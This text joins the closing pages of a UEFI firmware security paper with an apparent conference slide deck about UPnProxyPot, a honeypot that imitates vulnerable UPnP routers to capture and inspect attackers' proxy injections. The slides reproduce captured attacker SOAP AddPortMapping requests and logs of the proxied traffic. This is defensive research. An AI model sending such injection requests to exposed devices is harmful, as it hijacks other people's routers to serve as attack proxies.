many organizations will opt out of this option so that they can remotely update firmware without user
interaction, organizations with a greater security focus could opt in to this requirement.
10
Related Work
Invisible Things Lab presented the first memory corruption attack against a BIOS update[20].
In their
attack, an integer overflow in the rendering of a customizable bootup splash screen was exploited to gain
control over the boot up process before the BIOS locks were set. This allowed the BIOS to be reflashed with
arbitrary contents. The authors of this paper have also presented an attack against the coalescing operation
of some Dell legacy BIOSes[15].
11
Conclusion
In this paper we have demonstrated that although UEFI provides additional security features, it has also
provided additional attack surface that may be exploited. Furthermore, some of this attack surface is exposed
to Windows 8 userland processes by the Windows 8 firmware environment variable API. Despite increased
focus on protecting the integrity of the platform, vulnerabilities introduced by UEFI may allow an attacker
to compromise the platform firmware and attain permanent control of SMM. Although the authors believe
that UEFI is ultimately a step in the right direction towards securing the platform, more work needs to be
done on evaluating the security of the features it provides.
17Such as on an embedded system
18Toggled perhaps through the BIOS configuration screen
22
12
Acknowledgments
Thanks to the Intel Product Security Incident Response Team (PSIRT) for helping coordinate these vulner-
abilities with a↵ected OEMs and IBVs.
References
[1] How to build OVMF.
http://sourceforge.net/apps/mediawiki/tianocore/index.php?title=
How_to_build_OVMF. Accessed: 06/13/2014.
[2] MinnowBoard. http://www.minnowboard.org. Accessed: 06/13/2014.
[3] J. Butterworth, C. Kallenberg, and X. Kovah. Bios chronomancy: Fixing the core root of trust for
measurement. In BlackHat, Las Vegas, USA, 2013.
[4] CERT. VU #758382. http://www.kb.cert.org/vuls/id/758382. Accessed: 06/13/2014.
[5] Intel Corporation. Intel I/O Controller Hub 9 (ICH9) Family Datasheet. http://www.intel.com/
content/www/us/en/io/io-controller-hub-9-datasheet.html. Accessed: 10/01/2013.
[6] Intel Corporation.
Intel Platform Innovation Framework for EFI Driver Execution Environ-
ment Core Interface Specification.
http://www.intel.com/content/dam/doc/reference-guide/
efi-dxe-cis-v091.pdf. Accessed: 06/13/2014.
[7] Intel Corporation. Intel Platform Innovation Framework for EFI Pre-EFI Initialization Core Interface
Specification. http://www.intel.com/content/dam/doc/reference-guide/efi-pei-cis-v091.pdf.
Accessed: 06/13/2014.
[8] Intel Corporation. TianoCore. http://sourceforge.net/apps/mediawiki/tianocore/index.php?
title=Welcome. Accessed: 06/13/2014.
[9] Intel Corporation.
UEFI Development Kit 2010.
http://sourceforge.net/apps/mediawiki/
tianocore/index.php?title=UDK2010. Accessed: 06/13/2014.
[10] Intel Corporation. UEFI Development Kit 2010. http://sourceforge.net/projects/edk2/files/
UDK2014_Releases/UDK2014/. Accessed: 06/13/2014.
[11] Microsoft Corporation.
MSDN SetFirmwareEnvironmentVariable.
http://msdn.microsoft.com/
en-us/library/windows/hardware/ms724934(v=vs.85).aspx. Accessed: 06/13/2014.
[12] j00ru.
Defeating Windows Driver Signature Enforcement #1:
default drivers.
http://j00ru.
vexillium.org/?p=1169. Accessed: 06/13/2014.
[13] j00ru. Defeating Windows Driver Signature Enforcement #2: CSRSS and thread desktops. http:
//j00ru.vexillium.org/?p=1393. Accessed: 06/13/2014.
[14] j00ru. Defeating Windows Driver Signature Enforcement #3: The Ultimate Encounter. http://j00ru.
vexillium.org/?p=1455. Accessed: 06/13/2014.
[15] C. Kallenberg, J. Butterworth, X. Kovah, and C. Cornwell. Defeating Signed BIOS Enforcement. In
EkoParty, Buenos Aires, 2013.
[16] C. Kallenberg, C. Cornwell, X. Kovah, and J. Butterworth. Setup For Failure: More Ways to Defeat
SecureBoot. In Hack In The Box Amsterdam, Amsterdam, 2014.
[17] MN.
Analysis of Uroburos, using WinDbg.
https://blog.gdatasoftware.com/blog/article/
analysis-of-uroburos-using-windbg.html. Accessed: 06/16/2014.
[18] Phoenix. Efi Runtime Services. http://wiki.phoenix.com/wiki/index.php/EFI_RUNTIME_SERVICES.
Accessed: 06/13/2014.
23
[19] J. Rutkowska and A. Tereshkin. IsGameOver() Anyone? In BlackHat, Las Vegas, USA, 2007.
[20] R. Wojtczuk and A. Tereshkin. Attacking Intel BIOS. In BlackHat, Las Vegas, USA, 2009.
24 | pdf |
1
UPnProxyPot:
fake the funk, become a blackhat proxy,
MITM their TLS, and scrape the wire.
2
d1rt
Chad Seaman
3
Akamai SIRT
Team Lead &
Senior Engineer
4
5
First things first
INTERNET OF THINGS
What is IoT?
6
First things first
INTERNET OF THINGS
What is IoT?
TRASH
7
Your abstract sucked, what is this about?
SSDP & UPnP have been widely vulnerable on IoT devices for nearly 20 years...
It is not only possible, but also very easy to turn these devices into proxy servers...
When attackers find vulnerable IoT devices susceptible to this kind of attack, they turn the
device into a short lived proxy server and delete their tracks when they’re done and/or the
rules self destruct after their TTL expires...
We’ll cover SSDP & UPnP, previous UPnProxy research/campaigns, and finally
UPnProxyPot, how it works, and findings from a year of geographically distributed
deployments...
TL;DW
8
What are those things?
SSDP & UPnP
SSDP: Simple Service Discovery Protocol
-
Built for the LAN, uses broadcast addressing with HTTP over UDP
-
machines on a LAN announce themselves and find network peers that expose
services (printing, media sharing, network conf.)
UPnP: Universal Plug & Play
-
Built for the LAN, good ole HTTP & SOAP (<shower><wash what=”butt”/></shower>)
-
let’s machines on a LAN inquire about services and/or configurations
-
let’s machines on a LAN access services and/or modify configurations
9
Okay, that doesn’t sound so bad, what’s wrong with them?
SSDP & UPnP
SSDP: Simple Service Discovery Protocol
-
IoT devices are notoriously bad at deploying this correctly
-
built for the LAN… better expose it on the WAN just for funsies
-
DRDoS MVP of 2014/15… still has a seat at the popular DDoS vectors lunch table
-
Still finding this bullshit with these same old problems on some “newer” devices… (ymmv)
UPnP: Universal Plug & Play
-
Built for the LAN… but it’s deployed on WAN too, of course
-
LAN is a “safe space”, so we just do what our “trusted” network peers tell us to do… no auth needed
-
Information disclosure, ask away, I don’t keep secrets
-
Configuration changes, whatever you want boss… I’m easy peasy, baby
-
SOAP RCE injections… because sanitizing input is for try hards
10
A brief, incomplete, but mostly relevant history
UPnP disclosure history
2003: Björn Stickler - Netgear UPnP information disclosure
2006: Armijn Hemel - SANE conference (upnp-hacks.org, great info here)
2011: Daniel Garcia - Defcon 19 - UPnP Mapping (fun talk, I was in the crowd)
11
A brief, incomplete, but mostly relevant history
UPnProxy history
2014: SSDP is the new hotness DDoS vector, we (Akamai SIRT) write about it
2015: SSDP research leads to UPnP research
2016: “UPnP - a decade after disclosure” (never published)
12
Relevant PoC
A Decade After Disclosure
13
On accident...
UPnProxy discovered
-
Sept 2016 - 620Gbps sustained DDoS attack
-
Inspection of sources, lots of IoT, decent overlap with existing identified UPnP dataset…
-
UPnP Info leaks could maybe help, start scraping in attempts to fingerprint botnet
-
Correlation != Causation (Mirai)
-
I had already wrote a script to brute UPnP →
-
Weird entries in some of the UPnP tables…
-
Entries pointing at DNS servers…
-
Entries pointing at Akamai CDN servers…
-
Entries pointing at HTTP(S) web servers…
-
Interesting… but I’ve got other shit to do...
14
A brief, incomplete, but mostly relevant history
UPnProxy history
2014: SSDP is the new hotness DDoS vector, we (Akamai SIRT) write about it
2015: SSDP research leads to UPnP research
2016: “UPnP - a decade after disclosure” (never published)
2016: Mirai botnet + huge DDoS + Akamai
2016: investigating attack sources, accidentally find UPnProxy… too busy cracking botnet
2017: Decide to circle back and see what those oddities were about… scan the internet...
2018: “UPnProxy” campaigns discovered, confirmed, & published
15
by the numbers
UPnProxy uncovered
-
4.8 million SSDP responders
-
765k with exposed UPnP (16%)
-
65k actively injected (9% of vulnerable, 1.3% of total)
-
17,599 unique endpoint IPs injected
-
If a device had one injection, it typically had multiples
-
most injected dest = 18.8 million instances across 23,236 devices
-
2nd most injected dest = 11 million instances across 59,943 devices
-
15.9 million injections to DNS servers (TCP/53)
-
9.5 million injections to Web servers (TCP/80)
-
155,000 injections to HTTPS servers (TCP/443)
16
G’luck, I’m behind 7 proxies lulz
UPnProxy and APTs
17
Okay, 73 brands, over 400 models (that we COULD identify)
Just a couple devices...
Accton RG231, RG300 AboCom Systems WB-02N, WB02N, Atlantis A02-RB2-WN, A02-RB-W300N ASUS DSL-AC68R, DSL-AC68U, DSL-N55U, DSL-N55U-B, MTK7620, RT-AC3200, RT-AC51U, RT-AC52U, RT-AC53, RT-AC53U,
RT-AC54U, RT-AC55U, RT-AC55UHP, RTAC56R, RT-AC56S, RT-AC56U, RT-AC66R, RT-AC66U, RT-AC66W, RT-AC68P, RT-AC68R, RT-AC68U, RT-AC68W, RT-AC87R, RT-AC87U, RT-G32, RT-N10E, RT-N10LX, RTN10P, RT-N10PV2,
RT-N10U, RT-N11P, RT-N12, RT-N12B1, RT-N12C1, RT-N12D1, RT-N12E, RT-N12HP, RT-N12LX, RT-N12VP, RT-N14U, RT-N14UHP, RT-N15U, RT-N16, RTN18U, RT-N53, RT-N56U, RT-N65R, RT-N65U, RT-N66R, RT-N66U, RT-N66W,
RTN13U, SP-AC2015, WL500 AirTies Air4452RU, Air5450v3RU Alfa ALFA-R36, AIP-W502, AIP-W505 Anker N600 AximCOM X-116NX, MR-101N, MR-102N, MR-105N, MR-105NL, MR-108N, MR-216NV, P2P-Gear(PG-116N), P2PGear
(PG-108N), P2PGear (PG-116N), P2PGear (PG-216NV), PG-116N, PGP-108N, PGP-108T, PGP-116N, TGB-102N, X-108NX Axler 10000NPLUS, 8500NPLUS, 9500NPLUS, LGI-R104N, LGI-R104T, LGI-X501, LGI-X502, LGI-X503, LGI-X601,
LGI-X602, LGI-X603, R104M, R104T, RT-DSE, RT-TSE, X602, X603 Belkin F5D8635-4 v1, F9K1113 v5 B&B electric BB-F2 Bluelink BL-R31N, BL-R33N CentreCOM AR260SV2 CNet CBR-970, CBR-980 Davolink DVW-2000N D-Link
DIR-601, DIR-615, DIR-620, DIR-825, DSL-2652BU, DSL2750B, DSL-2750B-E1, DSL-2750E, DVG-2102S, DVG5004S, DVG-N5402SP, RG-DLINK-WBR2300 Deliberant DLB APC ECHO 5D, APC 5M-18 + DrayTek Corp. Vigor300B E-Top
BR480n UPnProxy: Blackhat Proxies via NAT Injections 16 EFM networks - ipTIME products A1004, A1004NS, A1004NS, A104NS, A2004NS, A2004NS, A2004NS-R, A2004NS-R, A3003NS, A3003NS, A3004NS, A3004NS, A3004NS,
A3004NS, A3004NS, A5004NS, A704NS, A704NS, G1, G104, G104, G104A, G104BE, G104BE, G104M, G104M, G104i, G204, G204, G304, G304, G501, G504, G504, N1, N104, N104, N104A, N104K, N104M, N104M, N104R, N104S,
N104S-r1, N104V, N104i, N1E, N2, N200R+, N2E, N3004, N300R, N300R, N5, N5004, N5004, N504, N6004, N6004M, N6004R, N604, N604, N604A, N604M, N604M, N604R, N604S, N604T, N604V, N604i, N608, N7004NS, N704, N704, N704A,
N704M, N704NS, N704S, N704V, N8004, N8004R, N804, N904NS, NX505, Q1, Q1, Q104, Q104, Q204, Q304, Q304, Q504, Q504, Q604, Smart, T1004, T1008, T2008, T3004, T3008, V1016, V1024, V104, V108, V108, V116, V116, V124, V304,
V308, X1005, X3003, X305, X5005, X5007 Edimax 3G6200N, 3G6200NL, BR-6204WG, BR-6228nS/nC, BR-6428, BR6228GNS, BR6258GN, BR6428NS Eminent EM4542, EM4543, EM4544, EM4551, EM4553, EM4570, EM4571 Energy
Imports VB104W VDSL Emerson NR505-V3 FlexWatch Cameras FW1175-WM-W, FW7707-FNR, FW7909-FVM, FW9302-TXM FreeBSD router 1, 1.2.2, 1.2.3-RELEASE, 2.0.1-RELEASE Gigalink EM4570 Grandstream Networks GXE
(router) Hitron CGN2-ROG, CGN2-UNE HP LaserJet 9500n plus Series Printers, GR112 (150M Portable Smart wireless Router) HFR, Inc. HFR Wired Router - H514G IP-COM R5, R7, R9, T3 iSonic ISO-150AR Intercross ICxETH5670NE
Intelbras WRN 140, WRN 340, Roteador Wireless NPLUG Innacomm RG4332 I-O Data ETX2-R Jensen Scandinavia AL7000ac Kozumi K-1500NR LevelOne WBR-6005 Leviton 47611-WG4 Lenovo A6 Lei Branch OEM NR266G Logitec
BR6428GNS, WLAN Access Point (popular device), Wireless Router (popular device) MSI RG300EX, RG300EX Lite, RG300EX Lite II MMC Technology MM01-005H, MM02-005H Monoprice MP-N6, MP-N600, 10926 Wireless AP Netis E1,
RX30, WF-2409, WF2409, WF2409/WF2409D, WF2409E, WF2411, WF2411E, WF2411E_RU, WF2411I, WF2411R, WF2415, WF2419, WF2419E, WF2419R, WF2450, WF2470, WF2480, WF2681, WF2710, WF2780 UPnProxy: Blackhat Proxies
via NAT Injections 17 NETCORE C403, NI360, NI360, NR20, NR235W, NR236W, NR255-V, NR255G, NR256, NR256P, NR266, NR266-E, NR266G, NR268, NR268-E, NR285G, NR286, NR286-E, NR286- GE, NR286-GEA, NR288, NR289-E,
NR289-GE, NR566, NW715P, NW735, NW736, NW755, NW765, Q3, T1 NETGEAR R2000, WNDR3700, WNDR4300v2, WNR2000v4 Nexxt Solutions Viking 300 OpenWRT Version identification was not possible Patech P501, P104S Planex
MZK-W300NR, MZK-MF150, MZK-MR150, MZKWNHR IGD Planet WDRT-731U, VRT-402N, VRT-420N Prolink PRT7002H Pinic IP04137 Roteador Wireless NPLUG Sitecom WLR-7100v1002 (X7 AC1200), WLR-1000, WLR-2100 SMC
Wireless Cable Modem Gateway SMCD3GN-RRR, SMCWBR14S, SMCWBR14S-N3 SAPIDO BRC70n, BRC76n, BRF71n, RB-1132, RB-1132V2, RB-1232, RB-1232V2, RB-1602, RB-1732, RB-1800, RB-1802, RB-1842, RB-3001 Solik
A2004NS Storylink SHD-G9 Shenzhen Landing Electronics TRG212M TOTOLINK (ZIONCOM, Tamio) AC5, A1200RD, A2004NS, C100RT, N150RA, N150RT, N200R, N200R+, N300R, N300R+, N300RA, N300RB, N300RG, N300RT, N5004,
N500RDG, N505RDU, N6004, iBuddy Tenda 3G150M+, 4G800, A5s, A6, ADSL2, DEVICE, F306, N6, N60, TEI480, TEI602, W1800R Techniclan WAR-150GN Turbo-X M300 Ubiquiti AirRouter LAP-E4A2, NanoBeam M5-N5B-16-E815,
AirGrid M5-AG5-HP-E245, PowerBeam M5-P5B-300- E3E5, NanoBridge M5-NB5-E2B5, PicoStation M2- p2N-E302, NanoStation M5-N5N-E805, NanoStation Loco M5-LM5-E8A5, NanoStation Loco M2-LM2-E0A2, NanoBeam
M5-N5B-19-E825, AirGrid M5-AG5-HP-E255 ZIONCOM (shares models with EFM Networks & TOTOLINK) IP04103, ipTIME N200R+, ipTIME N300R ZTE ZTE router, ZXHN H118N, ZXHN_H108N, CPE Z700A Zyus VFG6005N, VFG6005
ZyXel Internet Center, Keenetic, Keenetic 4G, Keenetic DSL, Keenetic Giga II, Keenetic II, Keenetic Lite II, Keenetic Start, NBG-416N Internet Sharing Gateway, NBG-418N Internet Sharing Gateway, NBG4615 Internet Sharing Gateway,
NBG5715 router, X150N Internet Gateway Device
18
Pretty cool, but...
UPnProxy uncovered
NO ONE CARES
19
Okay, so, maybe a couple people cared...
UPnProxy uncovered
- Research gets some industry attention
- Helps some ISPs support cleanup efforts
- Progress is made behind the scenes
- Some networks start filtering SSDP
- I get an email from a reporter a couple months after publication…
20
Sometimes the demo gods are kind and merciful
UPnProxy: EternalSilence
-
Justine Underhill comes to talk about UPnProxy
for a security episode of her online series
-
During the live demo
-
zmap finds 1000 random SSDP responders
-
I dump their UPnP NAT tables
-
I accidentally discover someone is injecting
routes into the network (vindication!)
21
UPnProxy + EternalBlue + Silent Cookie = EternalSilence
UPnProxy: EternalSilence uncovered
- Attackers are injecting routes
into the LAN address space
- “galleta silenciosa” in
NewPortMappingDescription
- Spanish, translates to “Silent
Cookie”
- Injections target Samba/SMB
22
A brief, incomplete, but mostly relevant history
UPnProxy history
2014: SSDP is the new hotness DDoS vector, we (Akamai SIRT) write about it
2015: SSDP research leads to UPnP research
2016: “UPnP - a decade after disclosure” (never published)
2016: Mirai botnet + huge DDoS + Akamai
2016: investigating attack sources, accidentally find UPnProxy… too busy cracking botnet
2017: Decide to circle back and see what those oddities were about… scan the internet...
2018: “UPnProxy” campaigns discovered, confirmed, & published
2018: “UPnProxy: EternalSilence” discovered & published
23
By the numbers
UPnProxy: EternalSilence
- 3.5 Million SSDP responders
- 227,000 UPnP exposed
- 45,000 with active EternalSilence injections
- No way to really know what they were up to...
- EternalBlue link is an educated guess on the most likely scenario…
- It’s what I’d do if I were them...
24
We have problems.
That’s cool but...
- Research up to this point has been via passive identification
- This requires scanning the entire internet regularly to find stuff
- Time consuming, lots of hate mail and threats for scanning stuff...
- Hundreds of gigs of logs per scan that need parsing and made sense of
- Campaign operators can delete entries...
- Entries self destruct on a timeline controlled by the operators...
- You still can’t tell WHAT they’re doing, just WHERE they’re doing it...
25
[[ player 3 has entered the fight ]]
So, what do we need?
UPnProxyPot
26
50k feet
UPnProxyPot
- Listen for SSDP probes, direct attackers to fake UPnP
- UPnP emulation good enough to get to injections phase
- “On-the-fly” proxy capabilities
- MITM content inspection and logging
- TLS stripping
- Make this easy to modify for fingerprint evasion without code changes
- Session based PCAP capabilities
- Written in Golang & bash
27
SSDP emulation
UPnProxyPot
- SSDP response lifted directly from most abused device in research
- Is stored in a flat file on disk, can be changed without code modification
- Any SSDP banner/location can be used, just make sure you update the
UPnP listen socket to reflect SSDP or vice versa
28
UPnP emulation
UPnProxyPot
- UPnP responses lifted directly from most abused device from research
- All HTML and XML is stored in flat files, updating these requires no code
- UPnP emulation serves basic files, handles NAT interactions
- Attacker supplied SOAP is parsed/handled via RegEx
- Will respond with error payloads if criteria aren’t met
- Responses must contain attacker supplied data, so these responses use
standard printf formatting (%s, %d, etc.)
29
“On-the-fly” proxying
UPnProxyPot
- Attackers submit proxy configs via SOAP
- We parse them and create a “Session” of sorts
- Scrape and log plaintexts across the proxied session in both directions
- If they’re proxying to a TCP/443 endpoint we MITM the TLS connection
30
Stripping TLS
UPnProxyPot
- Attackers actually do some verification here
- Initial deployments saw connections, but would bail before pushing data
- Attackers are fingerprinting certs (initially via subject lines)
- The automated cloning process scrapes the domain from the ClientHello
- We then go forward to the injected endpoint and get it’s cert info w/ SNI
- We copy the subject field (O=Oh Noes LLC; CN=www.domain.lol)
- We mirror this subject in our cloned self signed certs
- 1 day before Defcon deadline… it broke… I haven’t figured it out.
- :*(
31
Automated PCAP’ing
UPnProxyPot
- Project uses gopacket
- Allows us to create pcaps on the fly using BPF
- As attackers interact with a proxied injection, PCAPs are collected
- If you find something interesting in the logs, you can find the associated
PCAP and see the entire session easily in your favorite packet muncher
- WARNING: If you run out of disk space, this is probably why
pcaps]# ls | wc -l pcaps]# du -ch
81100 5.4G total
32
1.5’ish years in the wild
UPnProxyPot
- 14 nodes deployed across a single VPS provider
- Geos from Dallas to London to Tokyo
- 300GB+ of PCAPs and logs
- 100’s of millions of captured proxy sessions
- Billions of lines of logs
33
Data, where’d you go?
UPnProxyPot
I’m an idiot. 💯
34
2’ish months in the wild
UPnProxyPot
- 4 nodes deployed across a single VPS provider
- US, UK, India, & Japan
- 39GB+ of PCAPs and logs
- 230k+ of captured proxy sessions
- 22+ million lines of logs
35
Thankfully a lot of it was kinda boring (as you’ll see).
Lost data sucks but...
- Trends in “new” data reflect what was observed in lost
data
- Not ALL data was lost, I did manage to save SOME of the
interesting bits in notes and smaller carve outs
36
Injection testing
UPnProxy: Observations
- Injections aren’t blindly applied
- Actors first insert a test proxy instance
- After confirmation that it works, they inject a real proxy
- Utilize it
- Then delete it … or at least try to
37
Injection testing
UPnProxy: Observations
2021/04/24 01:29:35 SSDP In: 93.190.139.76:46565
M-SEARCH * HTTP/1.1
Host:239.255.255.250:1900
ST:upnp:rootdevice
Man:"ssdp:discover"
MX:1
2021/04/24 01:29:35 UPnP In: 93.190.139.76:57332
GET /etc/linuxigd/gatedesc.xml HTTP/1.0
Host: 192.168.0.1:2048
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=120
ST: upnp:rootdevice
USN: uuid:fc4ec57e-b051-11db-88f8-0060085db3f6::upnp:rootdevice
EXT:
SERVER: Net-OS 5.xx UPnP/1.0
LOCATION: http://192.168.0.1:2048/etc/linuxigd/gatedesc.xml
38
Injection testing (cont.)
UPnProxy: Observations
2021/04/24 01:29:35 UPnP In: 93.190.139.76:57366
POST /etc/linuxigd/gateconnSCPD.ctl HTTP/1.0
HOST: 192.168.0.1:2048
SOAPACTION:"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
CONTENT-TYPE: text/xml ; charset="utf-8"
Content-Length: 634
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>22280</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>80</NewInternalPort>
<NewInternalClient>74.6.231.21</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>sync22280</NewPortMappingDescription>
<NewLeaseDuration>600</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>
39
Injection testing (cont.)
UPnProxy: Observations
2021/04/24 01:29:35 93.190.139.76:57388=>74.6.231.21:80 {sync22280 600 74.6.231.21 80 22280 1 TCP}
GET / HTTP/1.0
Host: yahoo.com
2021/04/24 01:29:35 74.6.231.21:80=>93.190.139.76:57388 {sync22280 600 74.6.231.21 80 22280 1 TCP}
HTTP/1.0 301 Moved Permanently
Date: Sat, 24 Apr 2021 01:29:35 GMT
Server: ATS
Cache-Control: no-store, no-cache
Content-Type: text/html
Content-Language: en
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Location: https://yahoo.com/
Content-Length: 8
redirect
40
Injection testing (cont.)
UPnProxy: Observations
2021/04/24 01:29:35 UPnP In: 93.190.139.76:57634
POST /etc/linuxigd/gateconnSCPD.ctl HTTP/1.0
HOST: 192.168.0.1:2048
SOAPACTION:"urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
CONTENT-TYPE: text/xml ; charset="utf-8"
Content-Length: 413
^@s-upnp-org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>22280</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
</u:DeletePortMapping>
</s:Body>
</s:Envelope>
^@"urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>22280</NewExternalPort>
…
^@s-upnp-org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>22280</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
</u:DeletePortMapping>
</s:Body>
</s:Envelope>
^@"urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>22280</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>80</NewInternalPort>
<NewInternalClient>74.6.231.21</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>sync22280</NewPortMappingDescription
<NewLeaseDuration>600</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>
^@-com:service:Dummy:1^@/serviceType>
<serviceId^@urn:dummy-com:serviceId:dummy1^@/serviceId>
<controlURL^@/dummy^@/controlURL>
<eventSubURL^@/dummy^@/eventSubURL>
41
Injection testing (cont.)
UPnProxy: Observations
</serviceList>
<deviceList^@
<device^@
<deviceType^@urn:schemas-upnp-org:device:WANDevice:1^@/deviceType>
<friendlyName^@D-Link DSL-2730U^@/friendlyName>
<manufacturer^@D-Link^@/manufacturer>
<manufacturerURL^@http://www.broadcom.com^@/manufacturerURL>
<modelDescription^@D-Link DSL-2730U^@/modelDescription>
<modelName^@K8G^@/modelName>
<modelNumber^@1.0^@/modelNumber>
<modelURL^@http://www.broadcom.com^@/modelURL>
<UDN^@uuid:c8be1979-e34f-4fe3-7919-bec8be794f0001^@/UDN>
<serviceList^@
<service^@
<serviceType^@urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1^@/serviceType>
<serviceId^@urn:upnp-org:serviceId:WANCommonInterfaceConfig.1^@/serviceId>
<controlURL^@/uuid:c8be1979-e34f-4fe3-7919-bec8be794f0001/WANCommonInterfaceConfig:1^@/controlUR
42
Injection testing (cont.)
UPnProxy: Observations
% grep ":80=>" *.upnproxy.log --binary-files=text | cut -d'=' -f1 | awk '{print $3}' | sort | uniq -c | sort -nr
194686 89.39.105.12:80 - ip.shtml (IP & plug)
684 23.62.198.254:80 - akamai
546 74.6.231.20:80 - yahoo
514 98.137.11.164:80 - yahoo
514 98.137.11.163:80 - yahoo
513 74.6.143.26:80 - yahoo
502 74.6.143.25:80 - yahoo
493 74.6.231.21:80 - yahoo
315 23.66.22.254:80 - akamai
275 23.34.208.53:80 - akamai
235 23.206.47.136:80 - akamai
158 23.5.235.143:80 - akamai
38 23.36.87.113:80 - akamai
32 23.206.46.23:80 - akamai
28 104.73.60.191:80 - akamai
16 172.217.20.110:80 - google
5 94.100.180.200:80 - mail.ru
4 217.69.139.202:80 - mail.ru
3 195.201.43.23:80 - ip.php (IP)
2 217.69.139.200:80 - mail.ru
43
Injection testing (cont.)
UPnProxy: Observations
2021/04/24 07:35:02 93.190.139.76:1603=>89.39.105.12:80 {sync38201 600 89.39.105.12 80 38201 1 TCP}
GET /ip.shtml HTTP/1.0
Host: 89.39.105.12
2021/04/24 07:35:02 89.39.105.12:80=>93.190.139.76:1603 {sync38201 600 89.39.105.12 80 38201 1 TCP}
HTTP/1.0 200 OK
Date: Sat, 24 Apr 2021 07:35:02 GMT
Server: Apache/2.4.6 (CentOS)
Accept-Ranges: bytes
Connection: close
Content-Type: text/html; charset=UTF-8
31.3.3.7UBCIEG
44
TLS traffic… it’s mostly boring.
UPnProxy: Observations
- Large campaign being run against Google
- It’s so weird I don’t even know what it is…
- 57,924 intercepted requests in total...
- 57,924 target Google...
- ClickFraud?... SEO?... ¯\_(ツ)_/¯
45
What does a request log look like (ugly, I know)
UPnProxy: Observations
&{Method:GET
URL:/search?q=cisco+spark+board+factory+reset&ie=utf-8&num=100&oe=utf-8&hl=en&gl=us&uule=w+CAIQIFISCUuXRXv3GUyGEY9nR_akm-y5&glp=1&gws
_rd=cr&fg=1&gcs=Dallas Proto:HTTP/1.1 ProtoMajor:1 ProtoMinor:1
Header:map[Accept:[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Encoding:[gzip, deflate]
Accept-Language:[en-GB,en;q=0.5] Connection:[keep-alive]
Cookie:[1P_JAR=2021-04-24-01;NID=214=RzWBrlojc8F0VWrzWpMo2uEUqo-Tl6syf-7eyHfQd2yopRFPy-tErlX3AoCM__qcXTTFMprQneJRQz1IF-MtncwRHwf5TqJj
d1e4Zv_lviGeUA0lVVzq3VylufCWrokEYW4IkTjfIq5iv-Jv7bOxbWOh6hBS42-Fk61-b2jsMOo] User-Agent:[Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36]] Body:{} GetBody:<nil> ContentLength:0 TransferEncoding:[]
Close:false Host:www.google.com Form:map[] PostForm:map[] MultipartForm:<nil> Trailer:map[] RemoteAddr:93.190.139.76:44501
RequestURI:/search?q=cisco+spark+board+factory+reset&ie=utf-8&num=100&oe=utf-8&hl=en&gl=us&uule=w+CAIQIFISCUuXRXv3GUyGEY9nR_akm-y5&gl
p=1&gws_rd=cr&fg=1&gcs=Dallas TLS:0xc0000b0790 Cancel:<nil> Response:<nil> ctx:0xc000061000}
46
What does a response log look like (ugly, I know)
UPnProxy: Observations
&{Status:200 OK StatusCode:200 Proto:HTTP/1.1 ProtoMajor:1 ProtoMinor:1 Header:map[Alt-Svc:[h3-29=":443"; ma=2592000,h3-T051=":443";
ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"]
Cache-Control:[private, max-age=0] Content-Encoding:[gzip] Content-Type:[text/html; charset=UTF-8] Date:[Sat, 24 Apr 2021 01:32:29
GMT] Expires:[-1] P3p:[CP="This is not a P3P policy! See g.co/p3phelp for more info."] Server:[gws] Set-Cookie:[1P_JAR=2021-04-24-01;
expires=Mon, 24-May-2021 01:32:29 GMT; path=/; domain=.google.com; Secure; SameSite=none
CGIC=Ij90ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjg; expires=Thu, 21-Oct-2021 01:32:29 GMT;
path=/complete/search; domain=.google.com; HttpOnly
CGIC=Ij90ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjg; expires=Thu, 21-Oct-2021 01:32:29 GMT;
path=/search; domain=.google.com; HttpOnly
NID=214=aPesL-QAwXfYF48X2avSfQ4claow9mhQkNZ2J_gaaj-4H_k6dzH6xBMZeFr5GUDT2Uotsq74hl6zVJSOrUUq1Kt2exPwnkpirYcFTQ4-UB6VzcgjF5h7NgtifBtic
C4SplJzsJbkI7ZMyiMrl2D00aOP2XNCnYK2v02ecjU3vps; expires=Sun, 24-Oct-2021 01:32:29 GMT; path=/; domain=.google.com; Secure; HttpOnly;
SameSite=none] Strict-Transport-Security:[max-age=31536000] X-Frame-Options:[SAMEORIGIN] X-Xss-Protection:[0]] Body:0xc0000611c0
ContentLength:-1 TransferEncoding:[chunked] Close:false Uncompressed:false Trailer:map[] Request:0xc00034e100 TLS:0xc0000b08f0}
47
Some weird searches...
UPnProxy: Observations
- 57,237 searched terms
- No clear patterns…
- Different Geos
- Different UAs
- One request per session
55 “samsung”
